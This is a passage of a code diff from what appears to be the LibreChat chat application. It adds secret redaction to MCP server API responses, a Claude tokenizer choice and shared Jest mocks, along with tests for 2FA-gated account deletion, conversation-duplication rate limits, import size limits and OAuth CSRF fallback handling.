user: { id: 'user1', _id: 'user1', email: 'a@b.com' },
|
||||||
|
body: { token: '123456' },
|
||||||
|
};
|
||||||
|
const res = createRes();
|
||||||
|
mockGetUserById.mockResolvedValue(existingUser);
|
||||||
|
mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
|
||||||
|
|
||||||
|
await deleteUserController(req, res);
|
||||||
|
|
||||||
|
expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
|
||||||
|
user: existingUser,
|
||||||
|
token: '123456',
|
||||||
|
backupCode: undefined,
|
||||||
|
});
|
||||||
|
expect(res.status).toHaveBeenCalledWith(200);
|
||||||
|
expect(res.send).toHaveBeenCalledWith({ message: 'User deleted' });
|
||||||
|
expect(mockDeleteMessages).toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('deletes account when valid backup code provided with 2FA enabled', async () => {
|
||||||
|
const existingUser = {
|
||||||
|
_id: 'user1',
|
||||||
|
twoFactorEnabled: true,
|
||||||
|
totpSecret: 'enc-secret',
|
||||||
|
backupCodes: [{ codeHash: 'h1', used: false }],
|
||||||
|
};
|
||||||
|
const req = {
|
||||||
|
user: { id: 'user1', _id: 'user1', email: 'a@b.com' },
|
||||||
|
body: { backupCode: 'valid-code' },
|
||||||
|
};
|
||||||
|
const res = createRes();
|
||||||
|
mockGetUserById.mockResolvedValue(existingUser);
|
||||||
|
mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
|
||||||
|
|
||||||
|
await deleteUserController(req, res);
|
||||||
|
|
||||||
|
expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
|
||||||
|
user: existingUser,
|
||||||
|
token: undefined,
|
||||||
|
backupCode: 'valid-code',
|
||||||
|
});
|
||||||
|
expect(res.status).toHaveBeenCalledWith(200);
|
||||||
|
expect(res.send).toHaveBeenCalledWith({ message: 'User deleted' });
|
||||||
|
expect(mockDeleteMessages).toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
@ -1172,7 +1172,11 @@ class AgentClient extends BaseClient {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** Anthropic Claude models use a distinct BPE tokenizer; all others default to o200k_base. */
|
||||||
getEncoding() {
|
getEncoding() {
|
||||||
|
if (this.model && this.model.toLowerCase().includes('claude')) {
|
||||||
|
return 'claude';
|
||||||
|
}
|
||||||
return 'o200k_base';
|
return 'o200k_base';
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -7,9 +7,11 @@
|
||||||
*/
|
*/
|
||||||
const { logger } = require('@librechat/data-schemas');
|
const { logger } = require('@librechat/data-schemas');
|
||||||
const {
|
const {
|
||||||
|
MCPErrorCodes,
|
||||||
|
redactServerSecrets,
|
||||||
|
redactAllServerSecrets,
|
||||||
isMCPDomainNotAllowedError,
|
isMCPDomainNotAllowedError,
|
||||||
isMCPInspectionFailedError,
|
isMCPInspectionFailedError,
|
||||||
MCPErrorCodes,
|
|
||||||
} = require('@librechat/api');
|
} = require('@librechat/api');
|
||||||
const { Constants, MCPServerUserInputSchema } = require('librechat-data-provider');
|
const { Constants, MCPServerUserInputSchema } = require('librechat-data-provider');
|
||||||
const { cacheMCPServerTools, getMCPServerTools } = require('~/server/services/Config');
|
const { cacheMCPServerTools, getMCPServerTools } = require('~/server/services/Config');
|
||||||
|
|
@ -181,10 +183,8 @@ const getMCPServersList = async (req, res) => {
|
||||||
return res.status(401).json({ message: 'Unauthorized' });
|
return res.status(401).json({ message: 'Unauthorized' });
|
||||||
}
|
}
|
||||||
|
|
||||||
// 2. Get all server configs from registry (YAML + DB)
|
|
||||||
const serverConfigs = await getMCPServersRegistry().getAllServerConfigs(userId);
|
const serverConfigs = await getMCPServersRegistry().getAllServerConfigs(userId);
|
||||||
|
return res.json(redactAllServerSecrets(serverConfigs));
|
||||||
return res.json(serverConfigs);
|
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
logger.error('[getMCPServersList]', error);
|
logger.error('[getMCPServersList]', error);
|
||||||
res.status(500).json({ error: error.message });
|
res.status(500).json({ error: error.message });
|
||||||
|
|
@ -215,7 +215,7 @@ const createMCPServerController = async (req, res) => {
|
||||||
);
|
);
|
||||||
res.status(201).json({
|
res.status(201).json({
|
||||||
serverName: result.serverName,
|
serverName: result.serverName,
|
||||||
...result.config,
|
...redactServerSecrets(result.config),
|
||||||
});
|
});
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
logger.error('[createMCPServer]', error);
|
logger.error('[createMCPServer]', error);
|
||||||
|
|
@ -243,7 +243,7 @@ const getMCPServerById = async (req, res) => {
|
||||||
return res.status(404).json({ message: 'MCP server not found' });
|
return res.status(404).json({ message: 'MCP server not found' });
|
||||||
}
|
}
|
||||||
|
|
||||||
res.status(200).json(parsedConfig);
|
res.status(200).json(redactServerSecrets(parsedConfig));
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
logger.error('[getMCPServerById]', error);
|
logger.error('[getMCPServerById]', error);
|
||||||
res.status(500).json({ message: error.message });
|
res.status(500).json({ message: error.message });
|
||||||
|
|
@ -274,7 +274,7 @@ const updateMCPServerController = async (req, res) => {
|
||||||
userId,
|
userId,
|
||||||
);
|
);
|
||||||
|
|
||||||
res.status(200).json(parsedConfig);
|
res.status(200).json(redactServerSecrets(parsedConfig));
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
logger.error('[updateMCPServer]', error);
|
logger.error('[updateMCPServer]', error);
|
||||||
const mcpErrorResponse = handleMCPError(error, res);
|
const mcpErrorResponse = handleMCPError(error, res);
|
||||||
|
|
|
||||||
|
|
@ -48,7 +48,7 @@ const createForkHandler = (ip = true) => {
|
||||||
};
|
};
|
||||||
|
|
||||||
await logViolation(req, res, type, errorMessage, forkViolationScore);
|
await logViolation(req, res, type, errorMessage, forkViolationScore);
|
||||||
res.status(429).json({ message: 'Too many conversation fork requests. Try again later' });
|
res.status(429).json({ message: 'Too many requests. Try again later' });
|
||||||
};
|
};
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
|
||||||
93
api/server/routes/__test-utils__/convos-route-mocks.js
Normal file
93
api/server/routes/__test-utils__/convos-route-mocks.js
Normal file
|
|
@ -0,0 +1,93 @@
|
||||||
|
module.exports = {
|
||||||
|
agents: () => ({ sleep: jest.fn() }),
|
||||||
|
|
||||||
|
api: (overrides = {}) => ({
|
||||||
|
isEnabled: jest.fn(),
|
||||||
|
resolveImportMaxFileSize: jest.fn(() => 262144000),
|
||||||
|
createAxiosInstance: jest.fn(() => ({
|
||||||
|
get: jest.fn(),
|
||||||
|
post: jest.fn(),
|
||||||
|
put: jest.fn(),
|
||||||
|
delete: jest.fn(),
|
||||||
|
})),
|
||||||
|
logAxiosError: jest.fn(),
|
||||||
|
...overrides,
|
||||||
|
}),
|
||||||
|
|
||||||
|
dataSchemas: () => ({
|
||||||
|
logger: {
|
||||||
|
debug: jest.fn(),
|
||||||
|
info: jest.fn(),
|
||||||
|
warn: jest.fn(),
|
||||||
|
error: jest.fn(),
|
||||||
|
},
|
||||||
|
createModels: jest.fn(() => ({
|
||||||
|
User: {},
|
||||||
|
Conversation: {},
|
||||||
|
Message: {},
|
||||||
|
SharedLink: {},
|
||||||
|
})),
|
||||||
|
}),
|
||||||
|
|
||||||
|
dataProvider: (overrides = {}) => ({
|
||||||
|
CacheKeys: { GEN_TITLE: 'GEN_TITLE' },
|
||||||
|
EModelEndpoint: {
|
||||||
|
azureAssistants: 'azureAssistants',
|
||||||
|
assistants: 'assistants',
|
||||||
|
},
|
||||||
|
...overrides,
|
||||||
|
}),
|
||||||
|
|
||||||
|
conversationModel: () => ({
|
||||||
|
getConvosByCursor: jest.fn(),
|
||||||
|
getConvo: jest.fn(),
|
||||||
|
deleteConvos: jest.fn(),
|
||||||
|
saveConvo: jest.fn(),
|
||||||
|
}),
|
||||||
|
|
||||||
|
toolCallModel: () => ({ deleteToolCalls: jest.fn() }),
|
||||||
|
|
||||||
|
sharedModels: () => ({
|
||||||
|
deleteAllSharedLinks: jest.fn(),
|
||||||
|
deleteConvoSharedLink: jest.fn(),
|
||||||
|
}),
|
||||||
|
|
||||||
|
requireJwtAuth: () => (req, res, next) => next(),
|
||||||
|
|
||||||
|
middlewarePassthrough: () => ({
|
||||||
|
createImportLimiters: jest.fn(() => ({
|
||||||
|
importIpLimiter: (req, res, next) => next(),
|
||||||
|
importUserLimiter: (req, res, next) => next(),
|
||||||
|
})),
|
||||||
|
createForkLimiters: jest.fn(() => ({
|
||||||
|
forkIpLimiter: (req, res, next) => next(),
|
||||||
|
forkUserLimiter: (req, res, next) => next(),
|
||||||
|
})),
|
||||||
|
configMiddleware: (req, res, next) => next(),
|
||||||
|
validateConvoAccess: (req, res, next) => next(),
|
||||||
|
}),
|
||||||
|
|
||||||
|
forkUtils: () => ({
|
||||||
|
forkConversation: jest.fn(),
|
||||||
|
duplicateConversation: jest.fn(),
|
||||||
|
}),
|
||||||
|
|
||||||
|
importUtils: () => ({ importConversations: jest.fn() }),
|
||||||
|
|
||||||
|
logStores: () => jest.fn(),
|
||||||
|
|
||||||
|
multerSetup: () => ({
|
||||||
|
storage: {},
|
||||||
|
importFileFilter: jest.fn(),
|
||||||
|
}),
|
||||||
|
|
||||||
|
multerLib: () =>
|
||||||
|
jest.fn(() => ({
|
||||||
|
single: jest.fn(() => (req, res, next) => {
|
||||||
|
req.file = { path: '/tmp/test-file.json' };
|
||||||
|
next();
|
||||||
|
}),
|
||||||
|
})),
|
||||||
|
|
||||||
|
assistantEndpoint: () => ({ initializeClient: jest.fn() }),
|
||||||
|
};
|
||||||
135
api/server/routes/__tests__/convos-duplicate-ratelimit.spec.js
Normal file
135
api/server/routes/__tests__/convos-duplicate-ratelimit.spec.js
Normal file
|
|
@ -0,0 +1,135 @@
|
||||||
|
const express = require('express');
|
||||||
|
const request = require('supertest');
|
||||||
|
|
||||||
|
const MOCKS = '../__test-utils__/convos-route-mocks';
|
||||||
|
|
||||||
|
jest.mock('@librechat/agents', () => require(MOCKS).agents());
|
||||||
|
jest.mock('@librechat/api', () => require(MOCKS).api({ limiterCache: jest.fn(() => undefined) }));
|
||||||
|
jest.mock('@librechat/data-schemas', () => require(MOCKS).dataSchemas());
|
||||||
|
jest.mock('librechat-data-provider', () =>
|
||||||
|
require(MOCKS).dataProvider({ ViolationTypes: { FILE_UPLOAD_LIMIT: 'file_upload_limit' } }),
|
||||||
|
);
|
||||||
|
|
||||||
|
jest.mock('~/cache/logViolation', () => jest.fn().mockResolvedValue(undefined));
|
||||||
|
jest.mock('~/cache/getLogStores', () => require(MOCKS).logStores());
|
||||||
|
jest.mock('~/models/Conversation', () => require(MOCKS).conversationModel());
|
||||||
|
jest.mock('~/models/ToolCall', () => require(MOCKS).toolCallModel());
|
||||||
|
jest.mock('~/models', () => require(MOCKS).sharedModels());
|
||||||
|
jest.mock('~/server/middleware/requireJwtAuth', () => require(MOCKS).requireJwtAuth());
|
||||||
|
|
||||||
|
jest.mock('~/server/middleware', () => {
|
||||||
|
const { createForkLimiters } = jest.requireActual('~/server/middleware/limiters/forkLimiters');
|
||||||
|
return {
|
||||||
|
createImportLimiters: jest.fn(() => ({
|
||||||
|
importIpLimiter: (req, res, next) => next(),
|
||||||
|
importUserLimiter: (req, res, next) => next(),
|
||||||
|
})),
|
||||||
|
createForkLimiters,
|
||||||
|
configMiddleware: (req, res, next) => next(),
|
||||||
|
validateConvoAccess: (req, res, next) => next(),
|
||||||
|
};
|
||||||
|
});
|
||||||
|
|
||||||
|
jest.mock('~/server/utils/import/fork', () => require(MOCKS).forkUtils());
|
||||||
|
jest.mock('~/server/utils/import', () => require(MOCKS).importUtils());
|
||||||
|
jest.mock('~/server/routes/files/multer', () => require(MOCKS).multerSetup());
|
||||||
|
jest.mock('multer', () => require(MOCKS).multerLib());
|
||||||
|
jest.mock('~/server/services/Endpoints/azureAssistants', () => require(MOCKS).assistantEndpoint());
|
||||||
|
jest.mock('~/server/services/Endpoints/assistants', () => require(MOCKS).assistantEndpoint());
|
||||||
|
|
||||||
|
describe('POST /api/convos/duplicate - Rate Limiting', () => {
|
||||||
|
let app;
|
||||||
|
let duplicateConversation;
|
||||||
|
const savedEnv = {};
|
||||||
|
|
||||||
|
beforeAll(() => {
|
||||||
|
savedEnv.FORK_USER_MAX = process.env.FORK_USER_MAX;
|
||||||
|
savedEnv.FORK_USER_WINDOW = process.env.FORK_USER_WINDOW;
|
||||||
|
savedEnv.FORK_IP_MAX = process.env.FORK_IP_MAX;
|
||||||
|
savedEnv.FORK_IP_WINDOW = process.env.FORK_IP_WINDOW;
|
||||||
|
});
|
||||||
|
|
||||||
|
afterAll(() => {
|
||||||
|
for (const key of Object.keys(savedEnv)) {
|
||||||
|
if (savedEnv[key] === undefined) {
|
||||||
|
delete process.env[key];
|
||||||
|
} else {
|
||||||
|
process.env[key] = savedEnv[key];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
const setupApp = () => {
|
||||||
|
jest.clearAllMocks();
|
||||||
|
jest.isolateModules(() => {
|
||||||
|
const convosRouter = require('../convos');
|
||||||
|
({ duplicateConversation } = require('~/server/utils/import/fork'));
|
||||||
|
|
||||||
|
app = express();
|
||||||
|
app.use(express.json());
|
||||||
|
app.use((req, res, next) => {
|
||||||
|
req.user = { id: 'rate-limit-test-user' };
|
||||||
|
next();
|
||||||
|
});
|
||||||
|
app.use('/api/convos', convosRouter);
|
||||||
|
});
|
||||||
|
|
||||||
|
duplicateConversation.mockResolvedValue({
|
||||||
|
conversation: { conversationId: 'duplicated-conv' },
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
describe('user limit', () => {
|
||||||
|
beforeEach(() => {
|
||||||
|
process.env.FORK_USER_MAX = '2';
|
||||||
|
process.env.FORK_USER_WINDOW = '1';
|
||||||
|
process.env.FORK_IP_MAX = '100';
|
||||||
|
process.env.FORK_IP_WINDOW = '1';
|
||||||
|
setupApp();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should return 429 after exceeding the user rate limit', async () => {
|
||||||
|
const userMax = parseInt(process.env.FORK_USER_MAX, 10);
|
||||||
|
|
||||||
|
for (let i = 0; i < userMax; i++) {
|
||||||
|
const res = await request(app)
|
||||||
|
.post('/api/convos/duplicate')
|
||||||
|
.send({ conversationId: 'conv-123' });
|
||||||
|
expect(res.status).toBe(201);
|
||||||
|
}
|
||||||
|
|
||||||
|
const res = await request(app)
|
||||||
|
.post('/api/convos/duplicate')
|
||||||
|
.send({ conversationId: 'conv-123' });
|
||||||
|
expect(res.status).toBe(429);
|
||||||
|
expect(res.body.message).toMatch(/too many/i);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('IP limit', () => {
|
||||||
|
beforeEach(() => {
|
||||||
|
process.env.FORK_USER_MAX = '100';
|
||||||
|
process.env.FORK_USER_WINDOW = '1';
|
||||||
|
process.env.FORK_IP_MAX = '2';
|
||||||
|
process.env.FORK_IP_WINDOW = '1';
|
||||||
|
setupApp();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should return 429 after exceeding the IP rate limit', async () => {
|
||||||
|
const ipMax = parseInt(process.env.FORK_IP_MAX, 10);
|
||||||
|
|
||||||
|
for (let i = 0; i < ipMax; i++) {
|
||||||
|
const res = await request(app)
|
||||||
|
.post('/api/convos/duplicate')
|
||||||
|
.send({ conversationId: 'conv-123' });
|
||||||
|
expect(res.status).toBe(201);
|
||||||
|
}
|
||||||
|
|
||||||
|
const res = await request(app)
|
||||||
|
.post('/api/convos/duplicate')
|
||||||
|
.send({ conversationId: 'conv-123' });
|
||||||
|
expect(res.status).toBe(429);
|
||||||
|
expect(res.body.message).toMatch(/too many/i);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
98
api/server/routes/__tests__/convos-import.spec.js
Normal file
98
api/server/routes/__tests__/convos-import.spec.js
Normal file
|
|
@ -0,0 +1,98 @@
|
||||||
|
const express = require('express');
|
||||||
|
const request = require('supertest');
|
||||||
|
const multer = require('multer');
|
||||||
|
|
||||||
|
const importFileFilter = (req, file, cb) => {
|
||||||
|
if (file.mimetype === 'application/json') {
|
||||||
|
cb(null, true);
|
||||||
|
} else {
|
||||||
|
cb(new Error('Only JSON files are allowed'), false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
/** Proxy app that mirrors the production multer + error-handling pattern */
|
||||||
|
function createImportApp(fileSize) {
|
||||||
|
const app = express();
|
||||||
|
const upload = multer({
|
||||||
|
storage: multer.memoryStorage(),
|
||||||
|
fileFilter: importFileFilter,
|
||||||
|
limits: { fileSize },
|
||||||
|
});
|
||||||
|
const uploadSingle = upload.single('file');
|
||||||
|
|
||||||
|
function handleUpload(req, res, next) {
|
||||||
|
uploadSingle(req, res, (err) => {
|
||||||
|
if (err && err.code === 'LIMIT_FILE_SIZE') {
|
||||||
|
return res.status(413).json({ message: 'File exceeds the maximum allowed size' });
|
||||||
|
}
|
||||||
|
if (err) {
|
||||||
|
return next(err);
|
||||||
|
}
|
||||||
|
next();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
app.post('/import', handleUpload, (req, res) => {
|
||||||
|
res.status(201).json({ message: 'success', size: req.file.size });
|
||||||
|
});
|
||||||
|
|
||||||
|
app.use((err, _req, res, _next) => {
|
||||||
|
res.status(400).json({ error: err.message });
|
||||||
|
});
|
||||||
|
|
||||||
|
return app;
|
||||||
|
}
|
||||||
|
|
||||||
|
describe('Conversation Import - Multer File Size Limits', () => {
|
||||||
|
describe('multer rejects files exceeding the configured limit', () => {
|
||||||
|
it('returns 413 for files larger than the limit', async () => {
|
||||||
|
const limit = 1024;
|
||||||
|
const app = createImportApp(limit);
|
||||||
|
const oversized = Buffer.alloc(limit + 512, 'x');
|
||||||
|
|
||||||
|
const res = await request(app)
|
||||||
|
.post('/import')
|
||||||
|
.attach('file', oversized, { filename: 'import.json', contentType: 'application/json' });
|
||||||
|
|
||||||
|
expect(res.status).toBe(413);
|
||||||
|
expect(res.body.message).toBe('File exceeds the maximum allowed size');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('accepts files within the limit', async () => {
|
||||||
|
const limit = 4096;
|
||||||
|
const app = createImportApp(limit);
|
||||||
|
const valid = Buffer.from(JSON.stringify({ title: 'test' }));
|
||||||
|
|
||||||
|
const res = await request(app)
|
||||||
|
.post('/import')
|
||||||
|
.attach('file', valid, { filename: 'import.json', contentType: 'application/json' });
|
||||||
|
|
||||||
|
expect(res.status).toBe(201);
|
||||||
|
expect(res.body.message).toBe('success');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('rejects at the exact boundary (limit + 1 byte)', async () => {
|
||||||
|
const limit = 512;
|
||||||
|
const app = createImportApp(limit);
|
||||||
|
const boundary = Buffer.alloc(limit + 1, 'a');
|
||||||
|
|
||||||
|
const res = await request(app)
|
||||||
|
.post('/import')
|
||||||
|
.attach('file', boundary, { filename: 'import.json', contentType: 'application/json' });
|
||||||
|
|
||||||
|
expect(res.status).toBe(413);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('accepts a file just under the limit', async () => {
|
||||||
|
const limit = 512;
|
||||||
|
const app = createImportApp(limit);
|
||||||
|
const underLimit = Buffer.alloc(limit - 1, 'b');
|
||||||
|
|
||||||
|
const res = await request(app)
|
||||||
|
.post('/import')
|
||||||
|
.attach('file', underLimit, { filename: 'import.json', contentType: 'application/json' });
|
||||||
|
|
||||||
|
expect(res.status).toBe(201);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
@ -1,109 +1,24 @@
|
||||||
const express = require('express');
|
const express = require('express');
|
||||||
const request = require('supertest');
|
const request = require('supertest');
|
||||||
|
|
||||||
jest.mock('@librechat/agents', () => ({
|
const MOCKS = '../__test-utils__/convos-route-mocks';
|
||||||
sleep: jest.fn(),
|
|
||||||
}));
|
|
||||||
|
|
||||||
jest.mock('@librechat/api', () => ({
|
jest.mock('@librechat/agents', () => require(MOCKS).agents());
|
||||||
isEnabled: jest.fn(),
|
jest.mock('@librechat/api', () => require(MOCKS).api());
|
||||||
createAxiosInstance: jest.fn(() => ({
|
jest.mock('@librechat/data-schemas', () => require(MOCKS).dataSchemas());
|
||||||
get: jest.fn(),
|
jest.mock('librechat-data-provider', () => require(MOCKS).dataProvider());
|
||||||
post: jest.fn(),
|
jest.mock('~/models/Conversation', () => require(MOCKS).conversationModel());
|
||||||
put: jest.fn(),
|
jest.mock('~/models/ToolCall', () => require(MOCKS).toolCallModel());
|
||||||
delete: jest.fn(),
|
jest.mock('~/models', () => require(MOCKS).sharedModels());
|
||||||
})),
|
jest.mock('~/server/middleware/requireJwtAuth', () => require(MOCKS).requireJwtAuth());
|
||||||
logAxiosError: jest.fn(),
|
jest.mock('~/server/middleware', () => require(MOCKS).middlewarePassthrough());
|
||||||
}));
|
jest.mock('~/server/utils/import/fork', () => require(MOCKS).forkUtils());
|
||||||
|
jest.mock('~/server/utils/import', () => require(MOCKS).importUtils());
|
||||||
jest.mock('@librechat/data-schemas', () => ({
|
jest.mock('~/cache/getLogStores', () => require(MOCKS).logStores());
|
||||||
logger: {
|
jest.mock('~/server/routes/files/multer', () => require(MOCKS).multerSetup());
|
||||||
debug: jest.fn(),
|
jest.mock('multer', () => require(MOCKS).multerLib());
|
||||||
info: jest.fn(),
|
jest.mock('~/server/services/Endpoints/azureAssistants', () => require(MOCKS).assistantEndpoint());
|
||||||
warn: jest.fn(),
|
jest.mock('~/server/services/Endpoints/assistants', () => require(MOCKS).assistantEndpoint());
|
||||||
error: jest.fn(),
|
|
||||||
},
|
|
||||||
createModels: jest.fn(() => ({
|
|
||||||
User: {},
|
|
||||||
Conversation: {},
|
|
||||||
Message: {},
|
|
||||||
SharedLink: {},
|
|
||||||
})),
|
|
||||||
}));
|
|
||||||
|
|
||||||
jest.mock('~/models/Conversation', () => ({
|
|
||||||
getConvosByCursor: jest.fn(),
|
|
||||||
getConvo: jest.fn(),
|
|
||||||
deleteConvos: jest.fn(),
|
|
||||||
saveConvo: jest.fn(),
|
|
||||||
}));
|
|
||||||
|
|
||||||
jest.mock('~/models/ToolCall', () => ({
|
|
||||||
deleteToolCalls: jest.fn(),
|
|
||||||
}));
|
|
||||||
|
|
||||||
jest.mock('~/models', () => ({
|
|
||||||
deleteAllSharedLinks: jest.fn(),
|
|
||||||
deleteConvoSharedLink: jest.fn(),
|
|
||||||
}));
|
|
||||||
|
|
||||||
jest.mock('~/server/middleware/requireJwtAuth', () => (req, res, next) => next());
|
|
||||||
|
|
||||||
jest.mock('~/server/middleware', () => ({
|
|
||||||
createImportLimiters: jest.fn(() => ({
|
|
||||||
importIpLimiter: (req, res, next) => next(),
|
|
||||||
importUserLimiter: (req, res, next) => next(),
|
|
||||||
})),
|
|
||||||
createForkLimiters: jest.fn(() => ({
|
|
||||||
forkIpLimiter: (req, res, next) => next(),
|
|
||||||
forkUserLimiter: (req, res, next) => next(),
|
|
||||||
})),
|
|
||||||
configMiddleware: (req, res, next) => next(),
|
|
||||||
validateConvoAccess: (req, res, next) => next(),
|
|
||||||
}));
|
|
||||||
|
|
||||||
jest.mock('~/server/utils/import/fork', () => ({
|
|
||||||
forkConversation: jest.fn(),
|
|
||||||
duplicateConversation: jest.fn(),
|
|
||||||
}));
|
|
||||||
|
|
||||||
jest.mock('~/server/utils/import', () => ({
|
|
||||||
importConversations: jest.fn(),
|
|
||||||
}));
|
|
||||||
|
|
||||||
jest.mock('~/cache/getLogStores', () => jest.fn());
|
|
||||||
|
|
||||||
jest.mock('~/server/routes/files/multer', () => ({
|
|
||||||
storage: {},
|
|
||||||
importFileFilter: jest.fn(),
|
|
||||||
}));
|
|
||||||
|
|
||||||
jest.mock('multer', () => {
|
|
||||||
return jest.fn(() => ({
|
|
||||||
single: jest.fn(() => (req, res, next) => {
|
|
||||||
req.file = { path: '/tmp/test-file.json' };
|
|
||||||
next();
|
|
||||||
}),
|
|
||||||
}));
|
|
||||||
});
|
|
||||||
|
|
||||||
jest.mock('librechat-data-provider', () => ({
|
|
||||||
CacheKeys: {
|
|
||||||
GEN_TITLE: 'GEN_TITLE',
|
|
||||||
},
|
|
||||||
EModelEndpoint: {
|
|
||||||
azureAssistants: 'azureAssistants',
|
|
||||||
assistants: 'assistants',
|
|
||||||
},
|
|
||||||
}));
|
|
||||||
|
|
||||||
jest.mock('~/server/services/Endpoints/azureAssistants', () => ({
|
|
||||||
initializeClient: jest.fn(),
|
|
||||||
}));
|
|
||||||
|
|
||||||
jest.mock('~/server/services/Endpoints/assistants', () => ({
|
|
||||||
initializeClient: jest.fn(),
|
|
||||||
}));
|
|
||||||
|
|
||||||
describe('Convos Routes', () => {
|
describe('Convos Routes', () => {
|
||||||
let app;
|
let app;
|
||||||
|
|
|
||||||
|
|
@ -32,6 +32,9 @@ jest.mock('@librechat/api', () => {
|
||||||
getFlowState: jest.fn(),
|
getFlowState: jest.fn(),
|
||||||
completeOAuthFlow: jest.fn(),
|
completeOAuthFlow: jest.fn(),
|
||||||
generateFlowId: jest.fn(),
|
generateFlowId: jest.fn(),
|
||||||
|
resolveStateToFlowId: jest.fn(async (state) => state),
|
||||||
|
storeStateMapping: jest.fn(),
|
||||||
|
deleteStateMapping: jest.fn(),
|
||||||
},
|
},
|
||||||
MCPTokenStorage: {
|
MCPTokenStorage: {
|
||||||
storeTokens: jest.fn(),
|
storeTokens: jest.fn(),
|
||||||
|
|
@ -180,7 +183,10 @@ describe('MCP Routes', () => {
|
||||||
MCPOAuthHandler.initiateOAuthFlow.mockResolvedValue({
|
MCPOAuthHandler.initiateOAuthFlow.mockResolvedValue({
|
||||||
authorizationUrl: 'https://oauth.example.com/auth',
|
authorizationUrl: 'https://oauth.example.com/auth',
|
||||||
flowId: 'test-user-id:test-server',
|
flowId: 'test-user-id:test-server',
|
||||||
|
flowMetadata: { state: 'random-state-value' },
|
||||||
});
|
});
|
||||||
|
MCPOAuthHandler.storeStateMapping.mockResolvedValue();
|
||||||
|
mockFlowManager.initFlow = jest.fn().mockResolvedValue();
|
||||||
|
|
||||||
const response = await request(app).get('/api/mcp/test-server/oauth/initiate').query({
|
const response = await request(app).get('/api/mcp/test-server/oauth/initiate').query({
|
||||||
userId: 'test-user-id',
|
userId: 'test-user-id',
|
||||||
|
|
@ -367,6 +373,121 @@ describe('MCP Routes', () => {
|
||||||
expect(response.headers.location).toBe(`${basePath}/oauth/error?error=invalid_state`);
|
expect(response.headers.location).toBe(`${basePath}/oauth/error?error=invalid_state`);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
describe('CSRF fallback via active PENDING flow', () => {
|
||||||
|
it('should proceed when a fresh PENDING flow exists and no cookies are present', async () => {
|
||||||
|
const flowId = 'test-user-id:test-server';
|
||||||
|
const mockFlowManager = {
|
||||||
|
getFlowState: jest.fn().mockResolvedValue({
|
||||||
|
status: 'PENDING',
|
||||||
|
createdAt: Date.now(),
|
||||||
|
}),
|
||||||
|
completeFlow: jest.fn().mockResolvedValue(true),
|
||||||
|
deleteFlow: jest.fn().mockResolvedValue(true),
|
||||||
|
};
|
||||||
|
const mockFlowState = {
|
||||||
|
serverName: 'test-server',
|
||||||
|
userId: 'test-user-id',
|
||||||
|
metadata: {},
|
||||||
|
clientInfo: {},
|
||||||
|
codeVerifier: 'test-verifier',
|
||||||
|
};
|
||||||
|
|
||||||
|
getLogStores.mockReturnValue({});
|
||||||
|
require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
|
||||||
|
MCPOAuthHandler.getFlowState.mockResolvedValue(mockFlowState);
|
||||||
|
MCPOAuthHandler.completeOAuthFlow.mockResolvedValue({
|
||||||
|
access_token: 'test-token',
|
||||||
|
});
|
||||||
|
MCPTokenStorage.storeTokens.mockResolvedValue();
|
||||||
|
mockRegistryInstance.getServerConfig.mockResolvedValue({});
|
||||||
|
|
||||||
|
const mockMcpManager = {
|
||||||
|
getUserConnection: jest.fn().mockResolvedValue({
|
||||||
|
fetchTools: jest.fn().mockResolvedValue([]),
|
||||||
|
}),
|
||||||
|
};
|
||||||
|
require('~/config').getMCPManager.mockReturnValue(mockMcpManager);
|
||||||
|
require('~/config').getOAuthReconnectionManager.mockReturnValue({
|
||||||
|
clearReconnection: jest.fn(),
|
||||||
|
});
|
||||||
|
require('~/server/services/Config/mcp').updateMCPServerTools.mockResolvedValue();
|
||||||
|
|
||||||
|
const response = await request(app)
|
||||||
|
.get('/api/mcp/test-server/oauth/callback')
|
||||||
|
.query({ code: 'test-code', state: flowId });
|
||||||
|
|
||||||
|
const basePath = getBasePath();
|
||||||
|
expect(response.status).toBe(302);
|
||||||
|
expect(response.headers.location).toContain(`${basePath}/oauth/success`);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject when no PENDING flow exists and no cookies are present', async () => {
|
||||||
|
const flowId = 'test-user-id:test-server';
|
||||||
|
const mockFlowManager = {
|
||||||
|
getFlowState: jest.fn().mockResolvedValue(null),
|
||||||
|
};
|
||||||
|
|
||||||
|
getLogStores.mockReturnValue({});
|
||||||
|
require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
|
||||||
|
|
||||||
|
const response = await request(app)
|
||||||
|
.get('/api/mcp/test-server/oauth/callback')
|
||||||
|
.query({ code: 'test-code', state: flowId });
|
||||||
|
|
||||||
|
const basePath = getBasePath();
|
||||||
|
expect(response.status).toBe(302);
|
||||||
|
expect(response.headers.location).toBe(
|
||||||
|
`${basePath}/oauth/error?error=csrf_validation_failed`,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject when only a COMPLETED flow exists (not PENDING)', async () => {
|
||||||
|
